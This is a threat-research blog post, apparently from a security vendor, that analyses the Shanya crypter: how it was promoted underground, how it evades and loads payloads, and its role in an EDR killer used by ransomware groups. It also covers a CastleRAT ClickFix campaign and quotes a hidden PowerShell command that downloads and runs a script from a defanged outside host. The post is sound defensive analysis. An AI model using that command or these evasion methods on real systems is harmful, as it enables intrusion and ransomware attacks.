We have covered packer-as-a-service offerings from the computer underworld in the past, previously dissecting impersonation campaigns and the rise of HeartCrypt, both popular among ransomware groups. However, it is a fast-changing landscape, and now we are watching a new incarnation of the same type of service: the Shanya crypter — already favored by ransomware groups and taking over (to some degree) the role that HeartCrypt has played in the ransomware toolkit. We’ll look at its apparent origins, unpack the code, and examine a targeted infection leveraging this tool. Sophos protections against this specific packer are covered at the end of the article.
First glimpse: Underground promotions
Near the end of 2024 we found references on underground forums to a new offering, VX Crypt, credited to an entity called ‘Shanya’ (also the name of a river in western Russia). It should be noted that the ID of the post author, which we’ve obfuscated in Figure 1, was not “Shanya” but another string entirely.
Figure 1: A posting in Russian lists the features of “Shanya’s” VX Crypt offering
The interesting part of the English translation of the features reads as follows:
Non-standard module loading into memory, wrapper over the system loaderStub uniqueization. Each customer receives their own (relatively) unique stub with a unique encryption algorithm upon purchase. AMSI bypass for your .NET assemblies; the payload is not detected in memory.Icons, version information, privilege escalation via manifest (UAC Bypass), Autorun with rerun are available.Anti-VM, doesn't run in sandboxes, doesn't unpack in the cloud. Runtime protection is available for native and 32-bit files (during testing). If it's a RAT (for example), then with this protection it can run undetected for a long time (_Indy inspired)· We can try sideloading with the right software. It's possible to load your file in the context of another process, but it takes time to find vulnerabilities in the right software and time for testing.
The contact address for the creator of the packer is a Telegram handle that includes the string “shanya,” as shown in Figure 2:
Figure 2: The post provides “Shanya’s” Telegram contact information (but we don’t)
The described feature set matches characteristics of a packer that we have found in a number of samples, so we believe that our samples contain the same packer-as-a-service that this post identifies as coming from “Shanya.” It is very unlikely that two similar offerings would both be associated with the same name.
Early samples of the crypter
The early samples of the crypter had various artifacts left in the executable. For example, some of the early executable samples (hashes: 58995a6c6042ed15f765a11160690c45f76f8271, 83317a42290ef8577e1980dc6085ab789dcc0c8f) contained an executable name, shanya_crypter.exe, as shown on Line 1 in Figure 3:
Figure 3: Possibly more information than the Shanya developers meant to make available, along with some strange adjective choices
Further early DLL samples had revealing DLL names, consisting of a morphed form of “Shanya.” They also contained information on the purpose of the crypter, which is to bypass the detection capabilities of whatever security solution the target may be using as shown in Figure 4:
Figure 4: The DLL samples include a bad word; this will not be the last time bad words appear in this code
Some of the other names (slightly obfuscated below) were:
- 5h4ny4_f■ck4v_0x000735A5BFC229C.dll
- sh4nya_f■ck4v_0x000CFA853F46C84.dll
- shanya_f■ckav_0x0001DC90D59DCDBE.dll
This appears to be the same packer noted in late spring by Cipher Tech Solutions as the Armillaria loader, which was used to deliver a handful of malware families including BumbleBee, ChuChuka, Lumma, the WHT downloader, and StealC. Later on we found cases of a new EDR killer family and the CastleRAT backdoor using malicious files created by this service.
Where we saw it
Geographic distribution for nascent malware can be useful information. In Shanya’s case, we have encountered the packer in all four hemispheres over the course of 2025, but analysis of infections per capita in affected nations indicated a somewhat higher prevalence in certain countries late in the year, as shown in Figure 5.
Figure 5: A distribution of Sophos-analyzed samples packed by Shanya during September-November 2025. Note that this data includes both customer-operated machines and machines likely to be in use by people testing the packer during this period. Though Tunisia looms large in this chart, UAE is the more interesting case, detecting Shanya far more frequently than the similar-in-size (± 1.1 million) nations of the Czech Republic (Czechia), Austria, and Switzerland. We further note that all the infections we saw in China were geolocated in the Hong Kong-adjacent Shenzen area. (Countries reporting Shanya detections but with <10000 Sophos devices in place were excluded from this chart for legibility)
Under the hood: The packed executables
Most of the following analysis is based on the sample with SHA256: 6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1, which is a variant of the EDR killer we will discuss later.
The loader code is highly obfuscated, with miles of junk code such as this:
Figure 6: The junk code flows like a river (perhaps the Shanya)
The purpose of this code is to build a decryptor and loader in a memory region, which would then decrypt the payload.
Hiding in the PEB
Shanya starts by initializing a table structure that contains important data, such as API addresses, that it will require. It then uses an offset to the GdiHandleBuffer field in the PEB (Process Environment Block) as a secure pointer repository for the address of that table. The subsequent stages of the malware only need to call getPEB() and read from a fixed, hardcoded offset (GdiHandleBuffer[46]) to instantly retrieve the complex configuration table, allowing for seamless and untraceable execution continuity. This structure will be used by the next stage, in which the shellcode performs the decoding process.
Figure 7: Calling back to the table smooths execution flow, making the malware less noticeable
API hashing
As with other malware, Shanya dynamically resolves required Windows API functions by first parsing the PEB to locate the PEB_LDR_DATA structure, which contains the linked lists of all loaded modules. Using a custom hashing algorithm, it then parses all export names until a match is found. That algorithm varies from sample to sample.
Anti-analysis check
Shanya calls RtlDeleteFunctionTable(0) & RtlDeleteFunctionTable(1) to perform an anti-analysis check. By triggering the function with an invalid context, the malware attempts to induce an unhandled exception or crash if running under a user-mode debugger, thereby disrupting automated sandboxes and terminating manual analysis attempts before the payload can be fully executed.
Shanya checks whether RtlDeleteFunctionTable is hooked by an EDR. If it is hooked, it calculates the address which points past the EDR’s trampoline and skip to the original, unhooked instructions of RtlDeleteFunctionTable.
Figure 8: Looking for the hook
Payload
The following screenshot shows the intermediate form of the payload, when it is already decrypted but still in compressed form in memory:
Figure 9: The payload is in place, but this isn’t even its final form
It is then decompressed and loaded.
The loader loads a second instance of a Windows system DLL. In all the cases we analyzed, this system component was shell32.dll. Figure 10 shows the module listing in x64dbg to illustrate that there are indeed two instances of shell32.dll in the memory.
Figure 10: One more instance of shell32.dll than ought to be there
Figure 11 shows the original DLL, loaded into the DLL memory space:
Figure 11: A DLL where a DLL should be…
And Figure 12 shows a second copy, loaded into the user code memory space.
Figure 12: …and a DLL where a DLL should not be
The two are apparently identical, with the same PE section names and sizes. But in reality, the beginning of the image (practically speaking, the header and the .text section) is overwritten by the content of the decrypted payload, and then loaded by the undocumented LdrLoadDll Windows function.
The original exported functions contain junk data, as shown in Figure 13:
Figure 13: The “copy” in the user code memory space, with its junk data
The loader then performs one more trick, modifying the entry of the loaded module list (LDR_MODULE).
Both the full DLL name and the base DLL name are modified, as the Figure 14 image of the LDR_DATA_TABLE_ENTRY structure shows:
Figure 14: Mustard?
The modified DLL image is flagged by the PE-SIEVE tool (developed by hasherezade):
"mapping_scan" : {
"module" : "1ab0bbf0000",
"module_file" : "C:\\Windows\\System32\\mustard64.dll",
"mapped_file" : "C:\\Windows\\System32\\shell32.dll",
"status" : 1
}
},
{
"headers_scan" : {
"status" : 1,
"module" : "1ab0bbf0000",
"module_size" : "59000",
"module_file" : "C:\\Windows\\System32\\shell32.dll",
"is_connected_to_peb" : 1,
"is_pe_replaced" : 1,
"dos_hdr_modified" : 1,
"file_hdr_modified" : 1,
"nt_hdr_modified" : 1,
"ep_modified" : 1,
"sec_hdr_modified" : 1
}
In an earlier iteration of the EDR killer the wmp.dll name was used, as shown in Figure 15:
Figure 15: The wmp.dll name in the comments
In other cases a different name was utilized, incorporating a direct (and offensive) callout to hasherezade:
Figure 16: That’s definitely not “wmp.dll” under the black boxes in the comments
In another case, this time involving a 32-bit loader (the payload was StealC), the shanya.dll name was used:
Figure 17: A third example has nothing worth blacking out
Notable use cases
EDR killer
The main characteristics of the Shanya-protected EDR killer are as follows.
It has been used in DLL side-loading scenarios, most commonly including two specific files:
- consent.exe (a clean Microsoft program related to the User Account Control (UAC) feature)
- msimg32.dll (the Shanya-packed malicious DLL)
In other cases, the side-loaded DLL has been named version.dll, rtworkq.dll, or wmsgapi.dll.
It drops two kernel drivers:
- ThrottleStop.sys/rwdrv.sys (legitimate driver from TechPowerUp, abused in this context)
- hlpdrv.sys (a malicious unsigned kernel driver)
The user-mode loader/orchestrator of the user-mode killer is msimg32.dll. First it loads the vulnerable clean driver, as shown in Figure 18:
Figure 18: Loading the ThrottleStop driver
Then, as shown in Figure 19, it loads the malicious driver:
Figure 19: The malicious driver is loaded next
The user-mode killer has a large list of targeted services, as shown in Figure 20:
Figure 20: So many targeted services
And processes:
Figure 21: A long list of processes, including some belonging to Sophos. (That doesn’t mean the attempt is successful, but we’ll get into that in a moment)
These service and process names belong to security products that are targeted by the EDR killer. The user mode killer searches the running processes and installed services. If it finds a match, it sends a kill command to the malicious kernel driver, as shown in Figure 22:
Figure 22: Attempting to smite the security products it finds
The malicious kernel driver abuses the vulnerable clean driver, gaining write access that enables the termination and deletion of the processes and services of the protection products as shown in Figure 23:
Figure 23: And the shutdown
In a typical scenario, we see this sort of activity paired with a ransomware infection. The process tree in Figure 24 shows, as an example, the deployment of the Akira ransomware, along with attempts to execute two different versions of the EDR killer, both in DLL side-loading scenarios:
Figure 24: The process by which the EDR killer clears the way for a ransomware infection, in this case Akira. (The F’s indicate the number of files written or read)
The first deployment we noted of this EDR killer happened near the end of April 2025, in a Medusa attack (as shown in Figure 25). It has been used in multiple ransomware operations since then, most frequently by Akira (as described by GuidePoint Security in August), but also by Qilin and Crytox.
Figure 25: A distribution of Shanya-involved cases analyzed between April and November 2025, week by week
In action: CastleRAT
To give a sense of how this packer manifests in the wild, we’ll look briefly at a malware distribution campaign that utilized Shanya, in this case to target hotels.
It was reported in September 2025 as part of a booking.com-themed ClickFix campaign, as shown in Figure 26:
Figure 26: Reports of the infection appeared on a social media site; the Polish-language “verification” screen shown in the lower half of the image tricks the targeted user into loading malicious code
The file list reported by the researcher, as shown in Figure 27, matches the files we have seen:
Figure 27: Familiar names, unfortunately
We also observed that a PowerShell script was used to download the next stage:
Malware name: C2_10a (T1071.001) Beacon time: 2025-09-06T11:32:18.000Z Command line: powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"
The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-loading components shown in Figure 28:
Figure 28: Starting to look rather familiar
We have seen the following download servers in use:
- biokdsl[.]com/upd
- biklkfd[.]com/upd
The archive that was downloaded had the name and hash 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e: consa[.]zip . It registered for autostart and then executed the clean loader (consent.exe) as shown in Figure 29:
Figure 29: The clean loader abused
The clean executable then loaded the malicious DLL, named wmsgapi.dll, which was inflated by appended bytes to the huge size of 656MB. The final payload here has been identified by RecordedFuture as CastleRAT.
Sophos protections
Sophos protections against this malware include, but are not limited to, ATK/Shanya-B, ATK/Shanya-C, and ATK/Shanya-D.
Conclusion
Packer-as-a-service offerings and EDR killers will both be with us for the foreseeable future. The combination of the two is very popular with ransomware groups. Because there is a need and a financial motive, we can’t expect this particular malware type to go away anytime soon – and we will doubtless find further-evolved versions in the future.
Indicators of compromise
A set of indicators of compromise associated with Shanya is provided on our GitHub.